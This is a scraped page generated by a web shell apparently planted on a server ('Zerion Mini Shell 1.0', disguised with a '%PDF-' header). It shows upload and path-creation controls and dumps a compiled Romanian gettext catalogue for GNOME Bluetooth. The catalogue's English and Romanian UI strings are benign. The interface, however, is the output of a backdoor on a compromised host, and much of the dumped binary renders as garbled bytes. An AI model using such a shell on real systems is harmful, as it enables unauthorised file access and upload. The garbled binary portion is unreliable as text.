%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/ro/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/ro/LC_MESSAGES/gnome-bluetooth2.mo

��o��`	a	t	�	�	�	*�	�	�	�	�		


,
9
Q
k
~
�
�
�
�
�
�
�
	[	{
�
����
������

,HKP%���Y�,
2
8
=
E
H

^
i

	�
�
�
�
�
L�
4+RT~h�<DSh)����$� 0?
Xcy���������JSW#k	�����������.D=F���!�%
07F?�������� �7,Jw	�%�
�	��j��	��
����
��"
07"?blq0�
Z!|������ ���"1TO\4�(�R
c]��#�#�-"PXw!}1�-��"
7Edlu��
��
����	eor#��
�	��&�	$
;IR=mJ�H�!'*5HX_UA+Vo:K. i/R%Sa3T\7O	Mh2)<#CQ&1eF$N^lPIG>-@`;"=64WdL[(Jc
ZgEDbm]kY09
8B?j,nf%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers completeADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferBluetooth file transfer from %sCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth ConnectionConfirm Bluetooth PINConfirm the Bluetooth PIN for “%s”. This can usually be found in the device’s manual.ConnectedConnecting…ConnectionDeclineDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFile reception completeFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardMake sure that the remote device is switched on and that it accepts Bluetooth connectionsModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedOpen Containing FolderOpen FilePairedPaired or trustedPairing “%s”PhonePlease confirm that the following PIN matches the one displayed on “%s”.Please confirm the PIN that was entered on “%s”.Please enter the following PIN on “%s”.Please enter the following PIN on “%s”. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device’s nameRemove “%s” from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s” and available for Bluetooth file transfers. Transferred files are placed in the <a href="%s">Downloads</a> folder.WearableYesYou received a fileYou received “%s” via Bluetooth[FILE…]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hours“%s” wants to connect with this device. Do you want to allow it?“%s” wants to pair with this device. Do you want to allow pairing?Project-Id-Version: bluez-gnome
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-bluetooth/issues
PO-Revision-Date: 2019-08-04 14:09+0300
Last-Translator: Florentina Mușat <florentina.musat.28 [at] gmail [dot] com>
Language-Team: Gnome Romanian Translation Team
Language: ro
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < 20)) ? 1 : 2);
X-Generator: Poedit 2.2.3
X-Project-Style: gnome
o oră%'d ore%'d de oreun minut%'d minute%'d de minuteo secundă%'d secunde%'d de secunde%d B/s%d kB/s%u transfer complet%u transferuri complete%u de transferuri completeADRESĂAcceptăAdresăToate categoriileToate tipurilePermiteA apărut o eroare necunoscutăDispozitiv audioTransfer fișiere prin BluetoothCerere de asociere BluetoothTransfer BluetoothTransfer de fișiere prin Bluetooth de la %sCamerăAnuleazăAlegeți fișierele de trimisClic pentru a selecta dispozitivul…CalculatorConfirmăConfirmă conexiunea BluetoothConfirmă PIN-ul BluetoothConfirmați PIN-ul Bluetooth pentru „%s”. Acesta se poate găsi de obicei în manualul dispozitivului.ConectatSe conectează…ConexiuneRefuzăDispozitiv_Categorie dispozitiv:_Tip dispozitiv:DispozitiveDeconectatRespingeEcranPrimirea fișierului s-a încheiatDe la:CăștiCăști și alte dispozitive audioSet de căștiDacă eliminați acest dispozitiv, va trebui să îl configurați din nou înainte de următoarea utilizare.Dispozitive de intrare (mauși, tastaturi, etc.)JoypadTastaturăAsigurați-vă că dispozitivul la distanță este pornit și acceptă conexiuni BluetoothModemMausNUMERețeaNuNiciun adaptor disponibilNeconfiguratNici asociat, nici de încredereDeschide dosarul conținătorDeschide fișierulAsociatAsociat sau de încredereCerere de asociere pentru „%s”TelefonConfirmați dacă PIN-ul următor corespunde celui de pe dispozitivul „%s”.Confirmați PIN-ul care a fost introdus pe „%s”.Introduceți următorul PIN pe „%s”.Introduceți următorul PIN pe „%s”. Apoi apăsați „Enter” pe tastatură.Mutați joystick-ul iCade în direcțiile următoare. Apoi apăsați oricare dintre butoanele albe.ImprimantăTelecomandăDispozitiv la distanță de folositNumele dispozitivului la distanțăEliminați „%s” din lista dispozitivelor?ScannerSe caută după dispozitive…AlegeAlegeți dispozitivul destinațieAlegeți categoria dispozitivului pentru filtrareAlegeți tipul dispozitivului pentru filtrareTrimite _fișiere…Trimiteți fișiere prin BluetoothSe trimite %sSe trimite fișierul %d din %dArată:TabletăA apărut o eroareCătre:JucărieDe încredereTipNecunoscutDispozitiv videoVizibil ca „%s” și disponibil pentru transfer de fișiere prin Bluetooth. Fișierele transferate sunt plasate în dosarul <a href="%s">Descărcări</a>.AccesoriuDaAți primit un fișierAți primit „%s” prin Bluetooth[FIȘIER…]_AnuleazăÎn_chideConfigurări pentru _tastaturăConfigurări pentru _maus și touchpad_OK_Elimină_Elimină dispozitivul_Reîncearcă_TrimiteConfigurări pentru _sunetaproximativ o orăaproximativ %'d oreaproximativ %'d de ore„%s” vrea să se conecteze cu acest dispozitiv. Permiteți conectarea?„%s” vrea să se asocieze cu acest dispozitiv. Permiteți asocierea?

Zerion Mini Shell 1.0